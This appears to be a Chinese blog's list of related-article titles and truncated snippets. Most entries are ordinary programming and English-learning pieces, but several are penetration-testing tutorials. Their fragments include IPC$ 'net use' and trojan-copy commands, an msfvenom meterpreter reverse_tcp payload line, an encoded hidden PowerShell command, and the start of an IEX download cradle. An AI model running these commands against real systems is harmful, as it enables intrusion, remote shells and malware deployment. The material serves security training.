相关文章
Python数据分析实战笔记—Pandas数据读写（1）
《Python数据分析实战》 本章将学习pandas从多种存储媒介（比如文件和数据库）读取数据。
1.I/O API工具
pandas是数据分析专用库，主要关注的是数据计算和处理。 2.读取CSV和文本文件中的数据
读取CSV文件：
pandas中读取CSV函数：read_csv()、read_table()、to_csv()
im…
【英语学习】【Level 08】U01 Let's Read L2 Of fairies and princesses
文章目录 Word Preparationfairy tale: 童话故事magical: 有魔力的creature: 生物，动物short story: 短篇小说imaginary character: 虚构的人物make-believe: 想象的，虚构的 GrammarObjective clause 宾语从句 Word Preparation
fairy tale: 童话故事
…
API_Day04_文本操作-IO流
IO流
就是对文件的一种操作
简介：IO这是两个过程-相对于程序来说，输入（读入）和 输出（读出）的过程
I 是读取过程 in – 从磁盘读取到程序
O 是写出过程out – 从程序写出到磁盘
一、传统的IO 流分四种类…
如何保障业务稳定性？一文详解蚂蚁业务智能可观测平台BOS
随着业务规模的不断扩大以及AI、云计算、大数据等技术的不断发展，大量的企业希望利用上云来加速其数字化转型，全面提升可靠性、安全性和灵活性，并且降低运营成本。
不过对于大多数企业来说，全面上云是一项颇具难度的挑战。这里面…
xss漏洞实战--放射性xss漏洞总结
1. 查找反射型的xss型的漏洞。
放射性xss漏洞一般存在于搜索框哪里，，原理我就不讲了，直接实战啦 **
1.1 用偏僻字符绕waf
我们在找xss漏洞的时候常常会遇到一些waf防护就比如 例： 100招商网 我们输入最常见的poalay
<scrip…
sql注入-access数据库-总结
Access数据库
是一种非常简单但是功能完整的数据库，很适合小型网站创建，可以很轻松管理表和列，有很多管理工具
手工注入
判断注入点
1.这里采用墨者学院提供的SQL手工注入漏洞测试环境
http://219.153.49.228:40000/new_list.asp?id12.…
unicode ,UTF-8编码总结
文章感受
一. 文章来源 http://tool.chinaz.com/tools/unicode.aspx
二. 理解感受 总共有的编码方式有。 1.unicode 编码 2.UTF-8编码 3.unix的时间编码 4.native和Ascli编码互转。 5.hex编码、解码 6.html编码，解码 7.base64 编码，解码
三. 文章质量…
内网渗透信息收集-wmic命令自动收集。
自动收集信息
为了简化操作，可以创建一个脚本， 在目标机器上完成流程、服务、用户账号、用户组、网时区等信息的查询工作。网上有很多类似的脚本，当然，我们也可以自己定制一个。在这里，笔者推荐一个利用WMIC收集月标机…
网络web渗透工程师-教你怎么喝着茶，把甲方爸爸的活干了。
一、场景
又是一次接外包项目去甲方做渗透的一天，到了现场，发现甲方爸爸的是一家国企，国企的服务器搭建，普遍比较乱，不出所料，第一天去现场，我还以为是他们给资产，我们渗透就行了&a…
渗透测试练习靶场hackthebox——Starting Point Pathfinder攻略（详细版本）
域渗透对于初学者来说，主要难点在于涉及域的基础理论知识较多，比如ACL访问控制、DcSync权限、黄金票据、白银票据、Access Token、哈希传递等等。
ACL–访问控制列表
访问控制列表(ACL)是应用在路由器接口的指令列表(即规则)。指令列表用来告诉路由器&…
CVE-2021-44228-log4j2复现详细版本-简单教程。
0x01-前言
昨晚爆出的log4j rce 是通过lookup触发的漏洞，但jdk1.8.191以上默认不支持ldap协议，对于高版本jdk,则需要一定的依赖。不过为了给大家最简单的说明，我这里还是用jdk1.8.144的版本来运行。
0x02-靶场搭建
docker 搭建方式
docke…
内网隧道搭建ksa工具-端对端-无需公网VPS做流量转发
1、前言
看雪安全接入（KSA），一款傻瓜式的一键接入私有网络的工具，无论您在任何地点、任何时间、使用任何线路，均可利用这一服务接入自己的私有设备。
KSA的服务端和客户端集成在一个可执行文件之中，目前支…
黄金票据制作-新手入门
0x01 前言
相信准备学习内网渗透的人，都会知道有黄金票据这个事情，而黄金票据的原理是和攻击方式，网站说的都一大堆概念，很难懂，这里我说声明一下，黄金票据的作用在于做权限维持 ，原理在于域服…
window横向渗透-IPC命令schtasks 计划任务上线
0x01 条件
1、我们获取到目标主机管理员账号密码，并且目标主机的 139，445端口是开启的， 0x02 建立ipc协议拷贝cs木马
这时候， 我们可以先建立ips 协议， net use \ip\ipc$ 密码 /user:账号 例子 net use \\192.168.93…
sc-计划任务上线木马不成功的原因（但由于任务定义中的限制之一，该任务无法运行）
0x01 前言
1\当我们建立完ipc连接
shell net use \\192.168.138.138\ipc$ "dc123.com" /user:administrator2、查看连接 3、用命令copy 木马过去
shell copy C:\phpStudy\PHPTutorial\WWW\public\nw.exe \\192.168.138.138\c$4、用 at \192.168.138.138 16:53:11 …
内网渗透-如何利用msf把流量代理进内网-隧道搭建
0x01 前言
在攻防演练时，当我们拿下主机时，我们要开始对内网进行渗透，常见的手法有，frp，ew，等代理工具，这里我介绍一个工具 msf 模块中的socket 4a代理工具,这里我使用的是msf 5的版本…
msf生成linux elf木马反弹不成功的解决方法
0x01 前言
这几天我的msf 要生成linux 的木马 一直反弹不成功，用的是以下的paylaod
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST192.168.233.131 LPORT4444 -f elf > mshell.elf 我分析了一下报错，这个报错是没问题的，但生成的…
免杀制作-教你如何一键制作window-CS上线免杀马（新手推荐）
一、免杀思路
应该说每一类型的恶意软件所实施的反检测技术都是不一样的（恶意软件可以分为病毒、木马、僵尸程序、流氓软件、勒索软件、广告程序等），虽然本文会对所有相关的反检测技术都进行介绍，但我们还是会将注意力放在stager…
内网渗透-利用frp代理流量后msf攻击内网永恒之蓝漏洞（ms17-010）-永恒之蓝利用失败的原因
0x01 前言
当我们进内网的的时候，会遇到永恒之蓝这种漏洞，之前不懂代理的时候，总是不找到怎么利用，等到我学会了流量代理，frp等工具，才慢慢理解各种协议，各种流量方式的通信方式。 初级–》frp…
powershell cs-UTF-16LE编码上线
0x01前言
当我们要上线主机的时候，可能会因为你的代码含有木马字符串，导致无法上线
0x02问题 1、 例子 powershell.exe -exec bypass -encodedCommand ZQBjAGgAbwAgACIAMQAyADMAIgA 2、原句子 powershell.exe -nop -w hidden -c "IEX ((new-objec…
推荐文章
- 世界著名半导体公司及其官网
- 5步教给你如何进行网站排名优化？
- 中小型企业网络构建（思科）
- 如何网站建设搭建？建设搭建步骤是什么？
- H5响应式网站定制
- 对口本科计算机专业,湖南省计算机专业对口升学本科大学
- python:爬dfcf笔记
- chunk-vendors.fcca6113.js:1 Uncaught SyntaxError: Unexpected token ‘＜‘
- BugKu (杂项篇MISC)—隐写
- 白帽杯2022-Misc 游戏秘籍 write-up
- python3.6 使用 pymysql 连接 Mysql 数据库及 简单的增删改查操作
- css样式无法加载Refused to apply style from ‘http://localhost:8080/iconfont.css‘ because its MIME type...